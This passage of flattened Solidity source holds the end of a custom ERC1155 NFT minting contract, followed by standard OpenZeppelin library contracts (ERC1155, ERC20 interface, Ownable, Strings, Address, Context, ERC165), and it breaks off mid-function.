maxTotalSupply: _maxTotalSupply,
reservedForPartners: 0
});
}
function _editTokenReq(
uint256 _id,
uint256 _mintPrice,
uint256 _maxBuyPerTx,
uint256 _maxMintPerTx,
uint256 _stopMintAfter,
uint256 _maxTotalSupply
) internal {
tokenReq[_id].mintPrice = _mintPrice;
tokenReq[_id].maxBuyPerTx = _maxBuyPerTx;
tokenReq[_id].maxMintPerTx = _maxMintPerTx;
tokenReq[_id].stopMintAfter = _stopMintAfter;
tokenReq[_id].maxTotalSupply = _maxTotalSupply;
}
function _multiMint(address to, uint256 amount, uint256 tokenID, uint8 channel) internal {
require(totalSupply(tokenID) + tokenReq[tokenID].reservedForPartners + amount <= tokenReq[tokenID].maxTotalSupply, "No more this tokens");
_mint(to, tokenID, amount, bytes('0'));
emit MintSource(tokenID, amount, channel);
}
function _checkMintAmount(uint256 _tokenID, uint256 _amount, bool isFree) internal view returns (uint256) {
if(isFree) {
return _amount > tokenReq[_tokenID].maxMintPerTx ? tokenReq[_tokenID].maxMintPerTx : _amount;
}else {
return _amount > tokenReq[_tokenID].maxBuyPerTx ? tokenReq[_tokenID].maxBuyPerTx : _amount;
}
}
function uri(uint256 _tokenID) public view virtual override returns (string memory) {
return string(abi.encodePacked(
"https://nftstars.app/backend/api/v1/nfts/metadata/0x",
toAsciiString(address(this)),
"/", _tokenID.toString())
);
}
function toAsciiString(address x) internal view returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal view returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155Supply is ERC1155 {
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates weither any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155Supply.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_mint}.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual override {
super._mint(account, id, amount, data);
_totalSupply[id] += amount;
}
/**
* @dev See {ERC1155-_mintBatch}.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._mintBatch(to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
/**
* @dev See {ERC1155-_burn}.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual override {
super._burn(account, id, amount);
_totalSupply[id] -= amount;
}
/**
* @dev See {ERC1155-_burnBatch}.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override {
super._burnBatch(account, ids, amounts);
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] -= amounts[i];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
